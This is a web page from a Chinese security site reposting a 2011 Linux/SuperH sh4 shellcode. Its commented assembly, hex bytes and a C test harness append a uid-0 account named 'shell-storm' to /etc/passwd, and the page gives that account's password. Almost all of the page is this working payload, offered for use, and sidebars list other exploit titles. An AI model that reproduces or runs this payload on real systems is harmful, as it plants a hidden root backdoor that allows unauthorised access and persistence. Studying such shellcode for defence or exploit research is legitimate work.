首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/SuperH - sh4 - add root user with password - 143 bytes
来源:http://shell-storm.org 作者:Jonathan 发布时间:2011-06-24  
/*
** Title:     Linux/SuperH - sh4 - add root user with password - 143 bytes
** Date:      2011-06-23
** Tested on: debian-sh4 2.6.32-5-sh7751r
** Author:    Jonathan Salwan - twitter: @shell_storm
**
** http://shell-storm.org
**
** Informations:
** -------------
**               - user: shell-storm
**               - pswd: toor
**               - uid : 0
**
** open:
**         mov      #5, r3
**         mova     @(130, pc), r0
**         mov      r0, r4
**         mov      #255, r13
**         mov      #4, r12
**         mul.l    r13, r12
**         sts      macl, r5
**         add      #69, r5
**         mov      #84, r13
**         mov      #5, r12
**         mul.l    r13, r12
**         sts      macl, r6
**         trapa    #2
**         mov      r0, r11
**
** write:
**         xor      r6, r6
**         xor      r5, r5
**         mov      #4, r3
**         mov      r11, r4
**         mova     @(20, pc), r0
**         mov      r0, r5
**         mov      #72, r6
**         trapa    #2
**
** close:
**         mov      #6, r3
**         mov      r11, r4
**         trapa    #2
**
** exit:
**         mov      #1, r3
**         xor      r4, r4
**         trapa    #2
**        
** user:
**         .string "shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n"
**
** file:
**         .string "@@@/etc/passwd"
**
**
** The '@@@' is just for alignment.
**
*/
 
#include <stdio.h>
#include <string.h>
 
 
char *SC =
           /* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND, 0644) = fd */
           "\x05\xe3\x20\xc7\x03\x64\xff\xed"
           "\x04\xec\xd7\x0c\x1a\x05\x45\x75"
           "\x54\xed\x05\xec\xd7\x0c\x1a\x06"
           "\x02\xc3"
 
           /* r11 = fd */
           "\x03\x6b"
 
           /* write(fd, "shell-storm:$1$KQYl/yru$PMt02zUTW"..., 72) */
           "\x6a\x26\x5a\x25\x04\xe3\xb3\x64"
           "\x04\xc7\x03\x65\x48\xe6\x02\xc3"
 
           /* close(fd) */
           "\x06\xe3\xb3\x64\x02\xc3"
 
           /* exit(0) */
           "\x01\xe3\x4a\x24\x02\xc3"
 
           /* shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n */
           "\x73\x68\x65\x6c\x6c\x2d\x73\x74"
           "\x6f\x72\x6d\x3a\x24\x31\x24\x4b"
           "\x51\x59\x6c\x2f\x79\x72\x75\x24"
           "\x50\x4d\x74\x30\x32\x7a\x55\x54"
           "\x57\x6d\x4d\x76\x50\x57\x63\x55"
           "\x34\x6f\x51\x4c\x73\x2f\x3a\x30"
           "\x3a\x30\x3a\x72\x6f\x6f\x74\x3a"
           "\x2f\x72\x6f\x6f\x74\x3a\x2f\x62"
           "\x69\x6e\x2f\x62\x61\x73\x68\x5c"
           "\x6e"
 
           /* @@@/etc/passwd */
           "\x40\x40\x40\x2f\x65\x74\x63\x2f"
           "\x70\x61\x73\x73\x77\x64";
 
 
int main(void)
{
   fprintf(stdout,"Length: %d\n",strlen(SC));
   (*(void(*)()) SC)();
return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreeAmp 2.0.7 .fat Buffer Over
·Xilisoft Video-Converter v.5 (
·RealWin SCADA Server DATAC Log
·Avira AntiVir Personal V10.00.
·Free YouTube Download v2.10 DL
·HTTrack Website Copier V3.44 D
·Linux/SuperH - sh4 - setuid(0)
·Lotus Notes 8.0.x - 8.5.2 FP2
·Sielco Sistemi Winlog Buffer O
·Siemens FactoryLink 8 CSServic
·FactoryLink vrn.exe Opcode 9 B
·Microsoft Office Visio VISIODW
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved